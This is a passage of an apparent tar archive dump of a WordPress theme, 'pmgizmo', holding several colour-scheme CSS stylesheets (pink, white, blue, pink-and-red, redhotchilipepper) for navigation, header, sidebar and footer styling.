	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #232CA1;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #ab0000;
}
/* Main Navigation */
#navi-wrap {
	background: #ab0000;
	border-bottom: 3px solid #3a43b8;
}
.natty #navi-wrap {
	background: #ab0000;
	border-top: 1px solid #3a43b8;
	border-bottom: 1px solid #3a43b8;
}
.stickynav {
	background: #ab0000;
	border-top: 1px solid #3a43b8;
	border-bottom: 1px solid #3a43b8;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #084c92;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #213158;
	border: 2px solid #327fd0;
	border-top: none;
}
ul.nav-menu ul a,
.nav-menu ul ul a {
	border-top: 1px solid #327fd0;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #c62775;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #3043a2;
    background: #898cf3 -webkit-gradient(linear, left top, left bottom, from(#3043a2), to(#898cf3)) no-repeat;
    background: #898cf3 -moz-linear-gradient(top, #3043a2, #898cf3) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#3043a2, endColorstr=#898cf3) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#3043a2, endColorstr=#3043a2)" no-repeat;
}
.header-line {
    border-bottom: 1px solid #485DC8;
    border-top: 15px solid #18266D;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #ab0000;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #232CA1;
	border: 1px solid #232CA1;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #193761;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background-color: #010e1f;
}
/* LOL to Top */
.scrollToTop {
    background: #193761;
    border: 4px solid #010e1f;
}
.scrollToTop:hover {
    background: #1079c9;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #202898;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/pink.css000064400000013331152223213640012015 0ustar00/*
Predefined Colors
Theme: Pinky
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #741b55;
}
/* Body */
body {
    background: #bfa3d7;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #0078AA;
}
#topnav-menu {
	margin-left: 0;
}
.natty #topheader {
	border-top: 1px solid #098ABF;
	border-bottom: 1px solid #098ABF;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #aa0078;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #016F9D;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #0078aa;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #dd009c;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #dd009c;
}
/* Search */
.search-form-top {
    background-color: #0078AA;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #aa0078;
}
/* Main Navigation */
#navi-wrap {
	background: #aa0078;
	border-top: none;
	border-bottom: 3px solid #8c0163;
}
.natty #navi-wrap {
	background: #aa0078;
	border-top: 3px solid #8c0163;
	border-bottom: 3px solid #8c0163;
}
.stickynav {
	background: #aa0078;
	border-top: 2px solid #84005D;
	border-bottom: 2px solid #84005D;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #0078aa;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #770054;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #0078aa;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #0078aa;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #004E6E;
	background: #8AC8E1 -webkit-gradient(linear, left top, left bottom, from(#004E6E), to(#8AC8E1)) no-repeat;
	background: #8AC8E1 -moz-linear-gradient(top, #004E6E, #8AC8E1) no-repeat;
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#004E6E, endColorstr=#8AC8E1) no-repeat;
	-ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#004E6E, endColorstr=#8AC8E1)" no-repeat;
}
.header-line {
	border-top: 15px solid #0C4963;
	border-bottom: 1px solid #0072A3;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #763AA5;
}
#logo .site-title,
 #logo a:hover .site-title,
 #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #A171CA;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #C4008A;
	box-shadow: none;
	border: none;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #C4008A;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #660066;
	border-top: 5px solid #bfa3d7;
}
#footer-widgets .widget {
    background: #e0e2e1;
    border: 5px solid #bfa3d7;
}
#footer-widgets .widgettitle {
    background: #C4008A;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
	background: #006893;
	border-top: 1px solid #1689B9;
	border-bottom: 1px solid #1689B9;
}
/* LOL to Top */
.scrollToTop {
    background: #660066;
}
.scrollToTop:hover {
    background: #dd009c;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #5C7D0E;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #660066;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #9D538E;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #0078AA;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #aa0078;
	}
}pmgizmo/css/styles/white.css000064400000015117152223213640012200 0ustar00/*
Predefined Colors
Theme: White
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active{
    color: #3B5998;
}
.entry p a:link,
.entry p a:visited {
    color: #3B5998;
    text-decoration: none;
}
.entry p a:hover {
    color: #3B5998;
    text-decoration: underline;
}
.post-title a:link, .post-title a:visited {
    color: #444;
}
.post-title a:hover {
    color: #3B5998;
}
.page-title,
.post-title {
    color: #3c3c3c;
}
/* Body */
body {
    background-color: #E3E3E3;
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #fff;
}
.header-line,
.natty .header-line {
    border-top: none;
    border-bottom: none;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #B23600;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #333;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #fff;
}
#topnav-menu {
    margin-left: 0;
}
#topheader {
    border-top: 1px solid #ddd;
    border-bottom: none;
}
.natty #topheader {
    border-top: none;
    border-bottom: 1px solid #ddd;
}
.navhdr #topheader {
    border-top: 1px solid #ddd;
    border-bottom: 1px solid #ddd;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    color: #fff;
    background: #3B5998;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background: #ececec;
}
#topnav-menu ul ul a,
ul#topnav-menu ul a {
    border-top: 1px solid #bababa;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item{
    background: #F1F1F1;
}
/* Search */
.search-form-top {
    background-color: #fff;
}
/* Main Navigation */
#navi-wrap,
.natty #navi-wrap {
    background: #fff;
    border-top: 1px solid #ccc;
    border-bottom: 2px solid #ccc;
}
.stickynav {
    background: #fff;
    border-top: 1px solid #ccc;
    border-bottom: 1px solid #ccc;
}
#header-social-icons .social-icons-menu li a:before,
#topnav-menu a:link,
#topnav-menu a:visited,
.nav-menu li a,
.search-icon:before,
.nav-menu .current-menu-ancestor > a,
.nav-menu .current_page_ancestor > a,
.nav-menu .current_page_item,
.nav-menu .current-menu-item,
.stickynav .search-form:before,
.site-header .search-form:before,
#navi-wrap .nav-menu .current-menu-item > a,
.stickynav  .nav-menu .current-menu-item > a,
.nav-menu li.menu-item-has-children > a:after,
.nav-menu .submenu li.menu-item-has-children > a:after {
    color: #333;
}
.nav-menu li:first-child,
.wide-header .nav-menu li:first-child {
    border-left: none;
}
.nav-menu li:last-child,
.wide-header .nav-menu li:last-child {
    border-right: none;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus,
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus,
.stickynav  .nav-menu .current-menu-item > a:hover,
#navi-wrap .nav-menu .current-menu-item > a:hover {
    background-color: #3B5998;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #ececec;
}
.nav-menu .sub-menu li a,
.nav-menu .children li a,
#header #navi-wrap .nav-menu .sub-menu li a,
#header #navi-wrap .nav-menu .children li a {
    color: #333;
    border-top: 1px solid #bababa;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
    color: #f9f9f9;
    background-color: #3B5998;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi,
.widget-tabnavi,
.search-form .search-submit,
#commentform #submit {
    background: #444;
}
.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #616161;
    border-top: 5px solid #4c4c4c;
}
#footer-widgets .widget {
    background: #f9f9f9;
    border: 5px solid #4c4c4c;
}
#footer-widgets .widgettitle {
    background: #444;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited,
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #121212;
    background: #444;
}
/* LOL to Top */
.scrollToTop {
    background: #5e5e5e;
}
.scrollToTop:hover {
    background: #3B5998;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header #navi-wrap {
        border: none;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #333;
    }
    #topnav-menu a:link,
    #topnav-menu a:visited {
        color: #333;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #3B5998;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #314d02;
    }
    #topnav-icon,
    .menu-toggle,
    .menu-toggle:active,
    .menu-toggle:focus,
    .menu-toggle:hover {
        background: #fff;
        color: #333;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #ececec;
    }
    #topnav-menu li a {
        border-top: 1px solid rgba(125, 125, 125, 0.2);
    }
}pmgizmo/css/styles/blue.css000064400000012330152223213640012001 0ustar00/*
Predefined Colors
Theme: Blue
*/
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
    color: #1079c9;
}
body {
    background: #d6ceb8;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #4e5e67;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
    background: #32393c;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #556770;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
    background: #121212;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
    background-color: #09658e;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
    background-color: #121212;
}
/* Main Navigation */
#navi-wrap {
    background: #32393c;
    border-top: none;
    border-bottom: 1px solid #222;
}
.stickynav,
.natty #navi-wrap {
    background: #32393c;
    border-top: 1px solid #222;
    border-bottom: 1px solid #222;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #121212;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #01374e;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #121212;
}
.site-header .search-field:active,
.site-header .search-field:focus {
    border: 2px solid #358cb4;
}
/* Header */
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
    color: #f9f9f9;
}
#header-wrap,
.natty #header-wrap {
    background: #05709f;
    background: #87d5f7 -webkit-gradient(linear, left top, left bottom, from(#05709f), to(#87d5f7)) no-repeat;
    background: #87d5f7 -moz-linear-gradient(top, #05709f, #87d5f7) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#05709f, endColorstr=#87d5f7) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#05709f, endColorstr=#87d5f7)" no-repeat;
}
.natty #header-wrap {
    border-top: 1px solid #2b8bb3;
}
.header-line {
    border-top: 15px solid #121212;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #32393c;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #fff;
}
.search-form-top {
    background-color: #1977A1;
}
.wide-header #content-wrap {
    border: 1px solid #369dcc;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
    background: #09638a;
}
#sidebar {
    margin-top: 1.25em;
    margin-bottom: 1em;
    padding: 0 1em 0 0;
    background: none;
}
.rlayout #sidebar {
    padding: 0 0 0 1em;
    background: none;
}
#sidebar .widget {
    background: #fefefe;
    border: 1px solid #d3d2d2;
    padding: 0.75em;
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid #ddd;
    padding: 0.4em;
}
.search-form .search-submit,
#commentform #submit {
    background: #09638A;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #02385e;
    border-top: 0.35em solid #8cadbc;
}
#footer-widgets .widget {
    background: #303030;
}
#footer-widgets .widgettitle {
    background: #09638A;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.widget-tabbed .tabdiv li.widget-thumb {
    border-bottom: 1px solid #ededed;
    padding: 0.3em 0 0.3em 0.4em;
}
/* Footer */
#footer {
    background: #011b2d;
    border-top: 1px solid #505050;
}
.scrollToTop {
    background: #02385e;
    border: 4px solid #011b2d;
}
.scrollToTop:hover {
    background: #1079c9;
}
.scrollToTop:before {
    color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header .menu-toggle {
        color: #f9f9f9;
        border-bottom: none;
    }
    #header #navi-wrap {
        border: none;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #155e7e;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #01374e;
    }
    #header-wrap, .natty #header-wrap  {
        background: #178fc4;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #63727b;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #32393c;
    }
}pmgizmo/css/styles/pinkred.css000064400000010647152223213640012517 0ustar00/*
Predefined Colors
Theme: Pink N Red
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #ab1f20;
}
/* Body */
body {
    background-color: #DCCAD9;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #ab1f20;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #911e1e;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #911e1e;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #ab1f20;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #362411;
}
/* Main Navigation */
#navi-wrap {
	background: #362411;
	border-bottom: 4px solid #ddd;
}
.natty #navi-wrap {
	background: #362411;
	border-top: 1px solid #1e1307;
	border-bottom: 1px solid #1e1307;
}
.stickynav {
	background: #362411;
	border-top: 2px solid #1e1307;
	border-bottom: 2px solid #1e1307;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background: rgba(255,255,255,0.1);
	color: #fff;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #A40C66;
    background: #FF78E7 -webkit-gradient(linear, left top, left bottom, from(#A40C66), to(#FF78E7)) no-repeat;
    background: #FF78E7 -moz-linear-gradient(top, #A40C66, #FF78E7) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#A40C66, endColorstr=#FF78E7) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#A40C66, endColorstr=#A40C66)" no-repeat;
}
.header-line {
    border-bottom: 1px solid #D424BA;
    border-top: 15px solid #991261;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #a01203;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #f7f7f7;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #ab1f20;
	border: 1px solid #362411;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #362411;
	border-top: 5px solid #ffbcb1;
}
#footer-widgets .widget {
    background: #f9e9e6;
    border: 5px solid #ffbcb1;
}
#footer-widgets .widgettitle {
    background: #362411;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #444;
	background-color: #121212;
}
/* LOL to Top */
.scrollToTop {
    background: #c66478;
    border: 4px solid #9d4658;
}
.scrollToTop:hover {
    background: #ab1f20;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #911e1e;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/redhotchilipepper.css000064400000013063152223213640014570 0ustar00/*
Predefined Colors
Theme: Redhotchilipepper
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #8b1616;
}
/* Body */
body {
    background-color: #d8d1d1;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #3e0000;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #8b1616;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #4a0404;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #8b1616;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #3e0000;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #8b1651;
}
/* Search */
.search-form-top {
    background-color: #3e0000;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #8b1616;
}
/* Main Navigation */
#navi-wrap {
	background: #8b1616;
	border-top: none;
	border-bottom: 4px solid #3e0001;
}
.stickynav,
.natty #navi-wrap {
	background: #8b1616;
	border-top: 2px solid #bd4545;
	border-bottom: 2px solid #bd4545;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #366A1A;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #5c0101;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #366A1A;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #da1010;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #26560D;
	background: #3DAF00 -webkit-gradient(linear, left top, left bottom, from(#26560D), to(#3DAF00)) no-repeat;
	background: #3DAF00 -moz-linear-gradient(top, #26560D, #3DAF00) no-repeat;
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#26560D, endColorstr=#3DAF00) no-repeat;
	-ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#26560D, endColorstr=#3DAF00)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #316A13;
}
.header-line {
	border-top: 15px solid #1B4306;
	border-bottom: 1px solid #357F0F;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
	background: #8b1616;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #ad8888;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #366A1A;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #8a1616;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #6A1010;
	border-top: 5px solid #2B0303;
